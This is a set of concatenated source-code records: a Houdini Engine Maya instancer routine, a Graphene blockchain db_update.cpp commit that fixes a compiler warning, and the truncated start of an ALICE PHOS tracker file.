HAPI_AttributeInfo attrInfo;\n MStringArray instanceAttrs;\n hapiGetPointAttribute(mySopNodeInfo.id, 0, \"instance\", attrInfo, instanceAttrs);\n for(unsigned int i=0; i<instanceAttrs.length(); i++)\n {\n MStringArray splitObjName;\n instanceAttrs[i].split('\/', splitObjName);\n myInstancedObjectNames.append(splitObjName[splitObjName.length()-1]);\n myHoudiniInstanceAttribute.append(instanceAttrs[i]);\n }\n\n MStringArray nameAttrs;\n hapiGetPointAttribute(mySopNodeInfo.id, 0, \"name\", attrInfo, nameAttrs);\n for(unsigned int ii = 0; ii < nameAttrs.length(); ii++)\n {\n myHoudiniNameAttribute.append(nameAttrs[ii]);\n }\n\n \/\/ get a list of unique instanced names, and compute the object indices that would\n \/\/ be passed to Maya instancer\n for(unsigned int i = 0; i< myInstancedObjectNames.length(); ++i)\n {\n bool duplicate = false;\n unsigned int j = 0;\n for(; j< myUniqueInstObjNames.length(); ++j)\n {\n if(myUniqueInstObjNames[j] == myInstancedObjectNames[i])\n {\n duplicate = true;\n break;\n }\n }\n if(!duplicate)\n myUniqueInstObjNames.append(myInstancedObjectNames[i]);\n myInstancedObjectIndices.append((int) j);\n }\n\n \/\/ Workaround a crash where we can't determine the object to instance.\n if(!myInstancedObjectNames.length())\n {\n myInstancedObjectIndices = MIntArray(myPartInfo.pointCount, -1);\n }\n }\n}\n\nMIntArray\nOutputInstancerObject::getInstancedObjIds()\n{\n MIntArray ret;\n if(myObjectInfo.objectToInstanceId >= 0)\n ret.append(myObjectInfo.objectToInstanceId);\n return ret;\n}\n\nMStringArray\nOutputInstancerObject::getUniqueInstObjNames()\n{\n return myUniqueInstObjNames;\n}\n\nMStatus\nOutputInstancerObject::compute(\n const MTime &time,\n const MPlug &plug,\n MDataBlock& data,\n MDataHandle& handle,\n AssetNodeOptions::AccessorDataBlock &options,\n bool &needToSyncOutputs,\n const bool needToRecomputeOutputData\n )\n{\n update();\n\n if(myGeoInfo.partCount <= 0)\n return MS::kFailure;\n\n if((mySopNodeInfo.totalCookCount > myLastSopCookCount) || needToRecomputeOutputData)\n {\n MDataHandle instancerDataHandle = handle.child(AssetNode::outputInstancerData);\n MArrayDataHandle instancedObjectNamesHandle = handle.child(AssetNode::outputInstancedObjectNames);\n MArrayDataHandle houdiniInstanceAttributeHandle = handle.child(AssetNode::outputHoudiniInstanceAttribute);\n MArrayDataHandle houdiniNameAttributeHandle = handle.child(AssetNode::outputHoudiniNameAttribute);\n MArrayDataHandle instanceTransformHandle = handle.child(AssetNode::outputInstanceTransform);\n\n MObject arrayDataObj = instancerDataHandle.data();\n MFnArrayAttrsData arrayDataFn(arrayDataObj);\n if(arrayDataObj.isNull())\n {\n arrayDataObj = arrayDataFn.create();\n instancerDataHandle.set(arrayDataObj);\n\n arrayDataObj = instancerDataHandle.data();\n arrayDataFn.setObject(arrayDataObj);\n }\n\n MVectorArray positions = arrayDataFn.vectorArray(\"position\");\n MVectorArray rotations = arrayDataFn.vectorArray(\"rotation\");\n MVectorArray scales = arrayDataFn.vectorArray(\"scale\");\n MIntArray objectIndices = arrayDataFn.intArray(\"objectIndex\");\n\n unsigned int size = myPartInfo.pointCount;\n HAPI_Transform * instTransforms = new HAPI_Transform[size];\n CHECK_HAPI(HAPI_GetInstanceTransformsOnPart(\n Util::theHAPISession.get(),\n mySopNodeInfo.id,\n\t\t0,\n HAPI_SRT,\n instTransforms,\n 0, size\n ));\n\n Util::resizeArrayDataHandle(houdiniInstanceAttributeHandle, size);\n Util::resizeArrayDataHandle(houdiniNameAttributeHandle, size);\n Util::resizeArrayDataHandle(instanceTransformHandle, size);\n\n if(positions.length() != size && !options.useInstancerNode())\n {\n needToSyncOutputs = true;\n }\n\n positions.setLength(size);\n rotations.setLength(size);\n scales.setLength(size);\n objectIndices.setLength(size);\n\n for(unsigned int j=0; j<size; j++)\n {\n HAPI_Transform it = instTransforms[j];\n MVector p(it.position[0], it.position[1], it.position[2]);\n MVector r = MQuaternion(it.rotationQuaternion[0],\n it.rotationQuaternion[1], it.rotationQuaternion[2],\n it.rotationQuaternion[3]).asEulerRotation().asVector();\n MVector s(it.scale[0], it.scale[1], it.scale[2]);\n\n int objIndex = myInstancedObjectIndices[j];\n\n if (options.preserveScale())\n p *= 100.0;\n\n positions[j] = p;\n rotations[j] = r;\n scales[j] = s;\n objectIndices[j] = objIndex;\n\n CHECK_MSTATUS(houdiniInstanceAttributeHandle.jumpToArrayElement(j));\n MDataHandle intanceAttributeHandle = houdiniInstanceAttributeHandle.outputValue();\n intanceAttributeHandle .set(myHoudiniInstanceAttribute[j]);\n\n CHECK_MSTATUS(houdiniNameAttributeHandle.jumpToArrayElement(j));\n MDataHandle nameAttributeHandle = houdiniNameAttributeHandle.outputValue();\n nameAttributeHandle.set(myHoudiniNameAttribute[j]);\n\n CHECK_MSTATUS(instanceTransformHandle.jumpToArrayElement(j));\n MDataHandle transformHandle = instanceTransformHandle.outputValue();\n\n MDataHandle translateHandle = transformHandle.child(AssetNode::outputInstanceTranslate);\n MDataHandle rotateHandle = transformHandle.child(AssetNode::outputInstanceRotate);\n MDataHandle scaleHandle = transformHandle.child(AssetNode::outputInstanceScale);\n\n MDataHandle txHandle = translateHandle.child(AssetNode::outputInstanceTranslateX);\n txHandle.set(p.x);\n MDataHandle tyHandle = translateHandle.child(AssetNode::outputInstanceTranslateY);\n tyHandle.set(p.y);\n MDataHandle tzHandle = translateHandle.child(AssetNode::outputInstanceTranslateZ);\n tzHandle.set(p.z);\n\n MDataHandle rxHandle = rotateHandle.child(AssetNode::outputInstanceRotateX);\n rxHandle.set(r.x);\n MDataHandle ryHandle = rotateHandle.child(AssetNode::outputInstanceRotateY);\n ryHandle.set(r.y);\n MDataHandle rzHandle = rotateHandle.child(AssetNode::outputInstanceRotateZ);\n rzHandle.set(r.z);\n\n MDataHandle sxHandle = scaleHandle.child(AssetNode::outputInstanceScaleX);\n sxHandle.set(s.x);\n MDataHandle syHandle = scaleHandle.child(AssetNode::outputInstanceScaleY);\n syHandle.set(s.y);\n MDataHandle szHandle = scaleHandle.child(AssetNode::outputInstanceScaleZ);\n szHandle.set(s.z);\n }\n\n houdiniInstanceAttributeHandle.setAllClean();\n houdiniNameAttributeHandle.setAllClean();\n instanceTransformHandle.setAllClean();\n\n delete[] instTransforms;\n\n if(myObjectInfo.objectToInstanceId >= 0)\n {\n \/\/ instancing a single object\n Util::resizeArrayDataHandle(instancedObjectNamesHandle, 1);\n\n HAPI_ObjectInfo instanceObjectInfo;\n CHECK_HAPI(HAPI_GetObjectInfo(\n Util::theHAPISession.get(),\n myObjectInfo.objectToInstanceId,\n &instanceObjectInfo\n ));\n MString name = Util::HAPIString(instanceObjectInfo.nameSH);\n\n CHECK_MSTATUS(instancedObjectNamesHandle.jumpToArrayElement(0));\n MDataHandle h = instancedObjectNamesHandle.outputValue();\n h.set(name);\n } else\n {\n \/\/ instancing multiple objects\n Util::resizeArrayDataHandle(instancedObjectNamesHandle,\n myUniqueInstObjNames.length());\n\n for(unsigned int i=0; i< myUniqueInstObjNames.length(); i++)\n {\n CHECK_MSTATUS(instancedObjectNamesHandle.jumpToArrayElement(i));\n MDataHandle h = instancedObjectNamesHandle.outputValue();\n h.set(myUniqueInstObjNames[i]);\n }\n }\n instancedObjectNamesHandle.setAllClean();\n\n myLastSopCookCount = mySopNodeInfo.totalCookCount;\n }\n\n return MS::kSuccess;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015, Cryptonomex, Inc.\n * All rights reserved.\n *\n * This source code is provided for evaluation in private test networks only, until September 8, 2015. After this date, this license expires and\n * the code may not be used, modified or distributed for any purpose. Redistribution and use in source and binary forms, with or without modification,\n * are permitted until September 8, 2015, provided that the following conditions are met:\n *\n * 1. The code and\/or derivative works are used only for private test networks consisting of no more than 10 P2P nodes.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <graphene\/chain\/database.hpp>\n#include <graphene\/chain\/db_with.hpp>\n\n#include <graphene\/chain\/asset_object.hpp>\n#include <graphene\/chain\/global_property_object.hpp>\n#include <graphene\/chain\/proposal_object.hpp>\n#include <graphene\/chain\/transaction_object.hpp>\n#include <graphene\/chain\/market_evaluator.hpp>\n#include <graphene\/chain\/withdraw_permission_object.hpp>\n#include <graphene\/chain\/witness_object.hpp>\n#include <graphene\/chain\/protocol\/fee_schedule.hpp>\n\n#include <fc\/uint128.hpp>\n\nnamespace graphene { namespace chain {\n\nvoid database::update_global_dynamic_data( const signed_block& b )\n{\n const dynamic_global_property_object& _dgp =\n dynamic_global_property_id_type(0)(*this);\n\n uint32_t missed_blocks = get_slot_at_time( b.timestamp );\n assert( missed_blocks != 0 );\n missed_blocks--;\n for( uint32_t i = 0; i < missed_blocks; ++i ) {\n const auto& witness_missed = get_scheduled_witness( i+1 )(*this);\n if( witness_missed.id != b.witness ) {\n const auto& witness_account = witness_missed.witness_account(*this); \n \/*\n if( (fc::time_point::now() - b.timestamp) < fc::seconds(30) )\n wlog( \"Witness ${name} missed block ${n} around ${t}\", (\"name\",witness_account.name)(\"n\",b.block_num())(\"t\",b.timestamp) );\n *\/\n\n modify( witness_missed, [&]( witness_object& w ) {\n w.total_missed++;\n });\n } \n }\n\n \/\/ dynamic global properties updating\n modify( _dgp, [&]( dynamic_global_property_object& dgp ){\n if( BOOST_UNLIKELY( b.block_num() == 1 ) )\n dgp.recently_missed_count = 0;\n else if( _checkpoints.size() && _checkpoints.rbegin()->first >= b.block_num() )\n dgp.recently_missed_count = 0;\n else if( missed_blocks )\n dgp.recently_missed_count += GRAPHENE_RECENTLY_MISSED_COUNT_INCREMENT*missed_blocks;\n else if( dgp.recently_missed_count > GRAPHENE_RECENTLY_MISSED_COUNT_INCREMENT )\n dgp.recently_missed_count -= GRAPHENE_RECENTLY_MISSED_COUNT_DECREMENT;\n else if( dgp.recently_missed_count > 0 )\n dgp.recently_missed_count--;\n\n dgp.head_block_number = b.block_num();\n dgp.head_block_id = b.id();\n dgp.time = b.timestamp;\n dgp.current_witness = b.witness;\n dgp.recent_slots_filled = (\n (dgp.recent_slots_filled << 1)\n + 1) << missed_blocks;\n dgp.current_aslot += missed_blocks+1;\n });\n\n if( !(get_node_properties().skip_flags & skip_undo_history_check) )\n {\n GRAPHENE_ASSERT( _dgp.recently_missed_count < GRAPHENE_MAX_UNDO_HISTORY, undo_database_exception,\n \"The database does not have enough undo history to support a blockchain with so many missed blocks. \"\n \"Please add a checkpoint if you would like to continue applying blocks beyond this point.\",\n (\"recently_missed\",_dgp.recently_missed_count)(\"max_undo\",GRAPHENE_MAX_UNDO_HISTORY) );\n }\n\n _undo_db.set_max_size( _dgp.recently_missed_count + GRAPHENE_MIN_UNDO_HISTORY );\n _fork_db.set_max_size( _dgp.recently_missed_count + GRAPHENE_MIN_UNDO_HISTORY );\n}\n\nvoid database::update_signing_witness(const witness_object& signing_witness, const signed_block& new_block)\n{\n const global_property_object& gpo = get_global_properties();\n const dynamic_global_property_object& dpo = get_dynamic_global_properties();\n uint64_t new_block_aslot = dpo.current_aslot + get_slot_at_time( new_block.timestamp );\n\n share_type witness_pay = std::min( gpo.parameters.witness_pay_per_block, dpo.witness_budget );\n\n modify( dpo, [&]( dynamic_global_property_object& _dpo )\n {\n _dpo.witness_budget -= witness_pay;\n } );\n\n deposit_witness_pay( signing_witness, witness_pay );\n\n modify( signing_witness, [&]( witness_object& _wit )\n {\n _wit.last_aslot = new_block_aslot;\n } );\n}\n\nvoid database::clear_expired_transactions()\n{\n \/\/Look for expired transactions in the deduplication list, and remove them.\n \/\/Transactions must have expired by at least two forking windows in order to be removed.\n auto& transaction_idx = static_cast<transaction_index&>(get_mutable_index(implementation_ids, impl_transaction_object_type));\n const auto& dedupe_index = transaction_idx.indices().get<by_expiration>();\n while( (!dedupe_index.empty()) && (head_block_time() > dedupe_index.rbegin()->trx.expiration) )\n transaction_idx.remove(*dedupe_index.rbegin());\n}\n\nvoid database::clear_expired_proposals()\n{\n const auto& proposal_expiration_index = get_index_type<proposal_index>().indices().get<by_expiration>();\n while( !proposal_expiration_index.empty() && proposal_expiration_index.begin()->expiration_time <= head_block_time() )\n {\n const proposal_object& proposal = *proposal_expiration_index.begin();\n processed_transaction result;\n try {\n if( proposal.is_authorized_to_execute(*this) )\n {\n result = push_proposal(proposal);\n \/\/TODO: Do something with result so plugins can process it.\n continue;\n }\n } catch( const fc::exception& e ) {\n elog(\"Failed to apply proposed transaction on its expiration. Deleting it.\\n${proposal}\\n${error}\",\n (\"proposal\", proposal)(\"error\", e.to_detail_string()));\n }\n remove(proposal);\n }\n}\n\nvoid database::clear_expired_orders()\n{\n detail::with_skip_flags( *this,\n get_node_properties().skip_flags | skip_authority_check, [&](){\n transaction_evaluation_state cancel_context(this);\n\n \/\/Cancel expired limit orders\n auto& limit_index = get_index_type<limit_order_index>().indices().get<by_expiration>();\n while( !limit_index.empty() && limit_index.begin()->expiration <= head_block_time() )\n {\n limit_order_cancel_operation canceler;\n const limit_order_object& order = *limit_index.begin();\n canceler.fee_paying_account = order.seller;\n canceler.order = order.id;\n apply_operation(cancel_context, canceler);\n }\n });\n\n \/\/Process expired force settlement orders\n auto& settlement_index = get_index_type<force_settlement_index>().indices().get<by_expiration>();\n if( !settlement_index.empty() )\n {\n asset_id_type current_asset = settlement_index.begin()->settlement_asset_id();\n asset max_settlement_volume;\n\n auto next_asset = [¤t_asset, &settlement_index] {\n auto bound = settlement_index.upper_bound(current_asset);\n if( bound == settlement_index.end() )\n return false;\n current_asset = bound->settlement_asset_id();\n return true;\n };\n\n \/\/ At each iteration, we either consume the current order and remove it, or we move to the next asset\n for( auto itr = settlement_index.lower_bound(current_asset);\n itr != settlement_index.end();\n itr = settlement_index.lower_bound(current_asset) )\n {\n const force_settlement_object& order = *itr;\n auto order_id = order.id;\n current_asset = order.settlement_asset_id();\n const asset_object& mia_object = get(current_asset);\n const asset_bitasset_data_object mia = mia_object.bitasset_data(*this);\n\n \/\/ Has this order not reached its settlement date?\n if( order.settlement_date > head_block_time() )\n {\n if( next_asset() )\n continue;\n break;\n }\n \/\/ Can we still settle in this asset?\n if( mia.current_feed.settlement_price.is_null() )\n {\n ilog(\"Canceling a force settlement in ${asset} because settlement price is null\",\n (\"asset\", mia_object.symbol));\n cancel_order(order);\n continue;\n }\n if( max_settlement_volume.asset_id != current_asset )\n max_settlement_volume = mia_object.amount(mia.max_force_settlement_volume(mia_object.dynamic_data(*this).current_supply));\n if( mia.force_settled_volume >= max_settlement_volume.amount )\n {\n \/*\n ilog(\"Skipping force settlement in ${asset}; settled ${settled_volume} \/ ${max_volume}\",\n (\"asset\", mia_object.symbol)(\"settlement_price_null\",mia.current_feed.settlement_price.is_null())\n (\"settled_volume\", mia.force_settled_volume)(\"max_volume\", max_settlement_volume));\n *\/\n if( next_asset() )\n continue;\n break;\n }\n\n auto& pays = order.balance;\n auto receives = (order.balance * mia.current_feed.settlement_price);\n receives.amount = (fc::uint128_t(receives.amount.value) *\n (GRAPHENE_100_PERCENT - mia.options.force_settlement_offset_percent) \/ GRAPHENE_100_PERCENT).to_uint64();\n assert(receives <= order.balance * mia.current_feed.settlement_price);\n\n price settlement_price = pays \/ receives;\n\n auto& call_index = get_index_type<call_order_index>().indices().get<by_collateral>();\n asset settled = mia_object.amount(mia.force_settled_volume);\n \/\/ Match against the least collateralized short until the settlement is finished or we reach max settlements\n while( settled < max_settlement_volume && find_object(order_id) )\n {\n auto itr = call_index.lower_bound(boost::make_tuple(price::min(mia_object.bitasset_data(*this).options.short_backing_asset,\n mia_object.get_id())));\n \/\/ There should always be a call order, since asset exists!\n assert(itr != call_index.end() && itr->debt_type() == mia_object.get_id());\n asset max_settlement = max_settlement_volume - settled;\n settled += match(*itr, order, settlement_price, max_settlement);\n }\n modify(mia, [settled](asset_bitasset_data_object& b) {\n b.force_settled_volume = settled.amount;\n });\n }\n }\n}\n\nvoid database::update_expired_feeds()\n{\n auto& asset_idx = get_index_type<asset_index>().indices();\n for( const asset_object& a : asset_idx )\n {\n if( !a.is_market_issued() )\n continue;\n\n const asset_bitasset_data_object& b = a.bitasset_data(*this);\n if( b.feed_is_expired(head_block_time()) )\n {\n modify(b, [this](asset_bitasset_data_object& a) {\n a.update_median_feeds(head_block_time());\n });\n check_call_orders(b.current_feed.settlement_price.base.asset_id(*this));\n }\n if( !b.current_feed.core_exchange_rate.is_null() &&\n a.options.core_exchange_rate != b.current_feed.core_exchange_rate )\n modify(a, [&b](asset_object& a) {\n a.options.core_exchange_rate = b.current_feed.core_exchange_rate;\n });\n }\n}\n\nvoid database::update_maintenance_flag( bool new_maintenance_flag )\n{\n modify( get_dynamic_global_properties(), [&]( dynamic_global_property_object& dpo )\n {\n auto maintenance_flag = dynamic_global_property_object::maintenance_flag;\n dpo.dynamic_flags =\n (dpo.dynamic_flags & ~maintenance_flag)\n | (new_maintenance_flag ? maintenance_flag : 0);\n } );\n return;\n}\n\nvoid database::update_withdraw_permissions()\n{\n auto& permit_index = get_index_type<withdraw_permission_index>().indices().get<by_expiration>();\n while( !permit_index.empty() && permit_index.begin()->expiration <= head_block_time() )\n remove(*permit_index.begin());\n}\n\n} }\n<commit_msg>db_update.cpp: Fix compiler warning<commit_after>\/*\n * Copyright (c) 2015, Cryptonomex, Inc.\n * All rights reserved.\n *\n * This source code is provided for evaluation in private test networks only, until September 8, 2015. After this date, this license expires and\n * the code may not be used, modified or distributed for any purpose. Redistribution and use in source and binary forms, with or without modification,\n * are permitted until September 8, 2015, provided that the following conditions are met:\n *\n * 1. The code and\/or derivative works are used only for private test networks consisting of no more than 10 P2P nodes.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <graphene\/chain\/database.hpp>\n#include <graphene\/chain\/db_with.hpp>\n\n#include <graphene\/chain\/asset_object.hpp>\n#include <graphene\/chain\/global_property_object.hpp>\n#include <graphene\/chain\/proposal_object.hpp>\n#include <graphene\/chain\/transaction_object.hpp>\n#include <graphene\/chain\/market_evaluator.hpp>\n#include <graphene\/chain\/withdraw_permission_object.hpp>\n#include <graphene\/chain\/witness_object.hpp>\n#include <graphene\/chain\/protocol\/fee_schedule.hpp>\n\n#include <fc\/uint128.hpp>\n\nnamespace graphene { namespace chain {\n\nvoid database::update_global_dynamic_data( const signed_block& b )\n{\n const dynamic_global_property_object& _dgp =\n dynamic_global_property_id_type(0)(*this);\n\n uint32_t missed_blocks = get_slot_at_time( b.timestamp );\n assert( missed_blocks != 0 );\n missed_blocks--;\n for( uint32_t i = 0; i < missed_blocks; ++i ) {\n const auto& witness_missed = get_scheduled_witness( i+1 )(*this);\n if( witness_missed.id != b.witness ) {\n \/*\n const auto& witness_account = witness_missed.witness_account(*this);\n if( (fc::time_point::now() - b.timestamp) < fc::seconds(30) )\n wlog( \"Witness ${name} missed block ${n} around ${t}\", (\"name\",witness_account.name)(\"n\",b.block_num())(\"t\",b.timestamp) );\n *\/\n\n modify( witness_missed, [&]( witness_object& w ) {\n w.total_missed++;\n });\n } \n }\n\n \/\/ dynamic global properties updating\n modify( _dgp, [&]( dynamic_global_property_object& dgp ){\n if( BOOST_UNLIKELY( b.block_num() == 1 ) )\n dgp.recently_missed_count = 0;\n else if( _checkpoints.size() && _checkpoints.rbegin()->first >= b.block_num() )\n dgp.recently_missed_count = 0;\n else if( missed_blocks )\n dgp.recently_missed_count += GRAPHENE_RECENTLY_MISSED_COUNT_INCREMENT*missed_blocks;\n else if( dgp.recently_missed_count > GRAPHENE_RECENTLY_MISSED_COUNT_INCREMENT )\n dgp.recently_missed_count -= GRAPHENE_RECENTLY_MISSED_COUNT_DECREMENT;\n else if( dgp.recently_missed_count > 0 )\n dgp.recently_missed_count--;\n\n dgp.head_block_number = b.block_num();\n dgp.head_block_id = b.id();\n dgp.time = b.timestamp;\n dgp.current_witness = b.witness;\n dgp.recent_slots_filled = (\n (dgp.recent_slots_filled << 1)\n + 1) << missed_blocks;\n dgp.current_aslot += missed_blocks+1;\n });\n\n if( !(get_node_properties().skip_flags & skip_undo_history_check) )\n {\n GRAPHENE_ASSERT( _dgp.recently_missed_count < GRAPHENE_MAX_UNDO_HISTORY, undo_database_exception,\n \"The database does not have enough undo history to support a blockchain with so many missed blocks. \"\n \"Please add a checkpoint if you would like to continue applying blocks beyond this point.\",\n (\"recently_missed\",_dgp.recently_missed_count)(\"max_undo\",GRAPHENE_MAX_UNDO_HISTORY) );\n }\n\n _undo_db.set_max_size( _dgp.recently_missed_count + GRAPHENE_MIN_UNDO_HISTORY );\n _fork_db.set_max_size( _dgp.recently_missed_count + GRAPHENE_MIN_UNDO_HISTORY );\n}\n\nvoid database::update_signing_witness(const witness_object& signing_witness, const signed_block& new_block)\n{\n const global_property_object& gpo = get_global_properties();\n const dynamic_global_property_object& dpo = get_dynamic_global_properties();\n uint64_t new_block_aslot = dpo.current_aslot + get_slot_at_time( new_block.timestamp );\n\n share_type witness_pay = std::min( gpo.parameters.witness_pay_per_block, dpo.witness_budget );\n\n modify( dpo, [&]( dynamic_global_property_object& _dpo )\n {\n _dpo.witness_budget -= witness_pay;\n } );\n\n deposit_witness_pay( signing_witness, witness_pay );\n\n modify( signing_witness, [&]( witness_object& _wit )\n {\n _wit.last_aslot = new_block_aslot;\n } );\n}\n\nvoid database::clear_expired_transactions()\n{\n \/\/Look for expired transactions in the deduplication list, and remove them.\n \/\/Transactions must have expired by at least two forking windows in order to be removed.\n auto& transaction_idx = static_cast<transaction_index&>(get_mutable_index(implementation_ids, impl_transaction_object_type));\n const auto& dedupe_index = transaction_idx.indices().get<by_expiration>();\n while( (!dedupe_index.empty()) && (head_block_time() > dedupe_index.rbegin()->trx.expiration) )\n transaction_idx.remove(*dedupe_index.rbegin());\n}\n\nvoid database::clear_expired_proposals()\n{\n const auto& proposal_expiration_index = get_index_type<proposal_index>().indices().get<by_expiration>();\n while( !proposal_expiration_index.empty() && proposal_expiration_index.begin()->expiration_time <= head_block_time() )\n {\n const proposal_object& proposal = *proposal_expiration_index.begin();\n processed_transaction result;\n try {\n if( proposal.is_authorized_to_execute(*this) )\n {\n result = push_proposal(proposal);\n \/\/TODO: Do something with result so plugins can process it.\n continue;\n }\n } catch( const fc::exception& e ) {\n elog(\"Failed to apply proposed transaction on its expiration. Deleting it.\\n${proposal}\\n${error}\",\n (\"proposal\", proposal)(\"error\", e.to_detail_string()));\n }\n remove(proposal);\n }\n}\n\nvoid database::clear_expired_orders()\n{\n detail::with_skip_flags( *this,\n get_node_properties().skip_flags | skip_authority_check, [&](){\n transaction_evaluation_state cancel_context(this);\n\n \/\/Cancel expired limit orders\n auto& limit_index = get_index_type<limit_order_index>().indices().get<by_expiration>();\n while( !limit_index.empty() && limit_index.begin()->expiration <= head_block_time() )\n {\n limit_order_cancel_operation canceler;\n const limit_order_object& order = *limit_index.begin();\n canceler.fee_paying_account = order.seller;\n canceler.order = order.id;\n apply_operation(cancel_context, canceler);\n }\n });\n\n \/\/Process expired force settlement orders\n auto& settlement_index = get_index_type<force_settlement_index>().indices().get<by_expiration>();\n if( !settlement_index.empty() )\n {\n asset_id_type current_asset = settlement_index.begin()->settlement_asset_id();\n asset max_settlement_volume;\n\n auto next_asset = [¤t_asset, &settlement_index] {\n auto bound = settlement_index.upper_bound(current_asset);\n if( bound == settlement_index.end() )\n return false;\n current_asset = bound->settlement_asset_id();\n return true;\n };\n\n \/\/ At each iteration, we either consume the current order and remove it, or we move to the next asset\n for( auto itr = settlement_index.lower_bound(current_asset);\n itr != settlement_index.end();\n itr = settlement_index.lower_bound(current_asset) )\n {\n const force_settlement_object& order = *itr;\n auto order_id = order.id;\n current_asset = order.settlement_asset_id();\n const asset_object& mia_object = get(current_asset);\n const asset_bitasset_data_object mia = mia_object.bitasset_data(*this);\n\n \/\/ Has this order not reached its settlement date?\n if( order.settlement_date > head_block_time() )\n {\n if( next_asset() )\n continue;\n break;\n }\n \/\/ Can we still settle in this asset?\n if( mia.current_feed.settlement_price.is_null() )\n {\n ilog(\"Canceling a force settlement in ${asset} because settlement price is null\",\n (\"asset\", mia_object.symbol));\n cancel_order(order);\n continue;\n }\n if( max_settlement_volume.asset_id != current_asset )\n max_settlement_volume = mia_object.amount(mia.max_force_settlement_volume(mia_object.dynamic_data(*this).current_supply));\n if( mia.force_settled_volume >= max_settlement_volume.amount )\n {\n \/*\n ilog(\"Skipping force settlement in ${asset}; settled ${settled_volume} \/ ${max_volume}\",\n (\"asset\", mia_object.symbol)(\"settlement_price_null\",mia.current_feed.settlement_price.is_null())\n (\"settled_volume\", mia.force_settled_volume)(\"max_volume\", max_settlement_volume));\n *\/\n if( next_asset() )\n continue;\n break;\n }\n\n auto& pays = order.balance;\n auto receives = (order.balance * mia.current_feed.settlement_price);\n receives.amount = (fc::uint128_t(receives.amount.value) *\n (GRAPHENE_100_PERCENT - mia.options.force_settlement_offset_percent) \/ GRAPHENE_100_PERCENT).to_uint64();\n assert(receives <= order.balance * mia.current_feed.settlement_price);\n\n price settlement_price = pays \/ receives;\n\n auto& call_index = get_index_type<call_order_index>().indices().get<by_collateral>();\n asset settled = mia_object.amount(mia.force_settled_volume);\n \/\/ Match against the least collateralized short until the settlement is finished or we reach max settlements\n while( settled < max_settlement_volume && find_object(order_id) )\n {\n auto itr = call_index.lower_bound(boost::make_tuple(price::min(mia_object.bitasset_data(*this).options.short_backing_asset,\n mia_object.get_id())));\n \/\/ There should always be a call order, since asset exists!\n assert(itr != call_index.end() && itr->debt_type() == mia_object.get_id());\n asset max_settlement = max_settlement_volume - settled;\n settled += match(*itr, order, settlement_price, max_settlement);\n }\n modify(mia, [settled](asset_bitasset_data_object& b) {\n b.force_settled_volume = settled.amount;\n });\n }\n }\n}\n\nvoid database::update_expired_feeds()\n{\n auto& asset_idx = get_index_type<asset_index>().indices();\n for( const asset_object& a : asset_idx )\n {\n if( !a.is_market_issued() )\n continue;\n\n const asset_bitasset_data_object& b = a.bitasset_data(*this);\n if( b.feed_is_expired(head_block_time()) )\n {\n modify(b, [this](asset_bitasset_data_object& a) {\n a.update_median_feeds(head_block_time());\n });\n check_call_orders(b.current_feed.settlement_price.base.asset_id(*this));\n }\n if( !b.current_feed.core_exchange_rate.is_null() &&\n a.options.core_exchange_rate != b.current_feed.core_exchange_rate )\n modify(a, [&b](asset_object& a) {\n a.options.core_exchange_rate = b.current_feed.core_exchange_rate;\n });\n }\n}\n\nvoid database::update_maintenance_flag( bool new_maintenance_flag )\n{\n modify( get_dynamic_global_properties(), [&]( dynamic_global_property_object& dpo )\n {\n auto maintenance_flag = dynamic_global_property_object::maintenance_flag;\n dpo.dynamic_flags =\n (dpo.dynamic_flags & ~maintenance_flag)\n | (new_maintenance_flag ? maintenance_flag : 0);\n } );\n return;\n}\n\nvoid database::update_withdraw_permissions()\n{\n auto& permit_index = get_index_type<withdraw_permission_index>().indices().get<by_expiration>();\n while( !permit_index.empty() && permit_index.begin()->expiration <= head_block_time() )\n remove(*permit_index.begin());\n}\n\n} }\n<|endoftext|>"} {"text":"<commit_before>#include \"AliPHOSTracker.h\"\n#include \"AliPHOSClusterizerv1.h\"\n#include \"AliPHOSTrackSegmentMakerv1.h\"\n#include \"AliPHOSTrackSegmentMakerv2.h\"\n#include \"AliPHOSPIDv1.h\"\n#include \"AliRunLoader.h\"\n#include \"AliESD.h\"\n\n\/\/-------------------------------------------------------------------------\n\/\/ PHOS tracker.\n\/\/ Matches ESD tracks with the PHOS and makes the PID. \n\/\/ Currently, has only one function implemented : PropagateBack(AliESD*)\n\/\/-------------------------------------------------------------------------\n\nClassImp(AliPHOSTracker)\n\nBool_t AliPHOSTracker::fgDebug = kFALSE 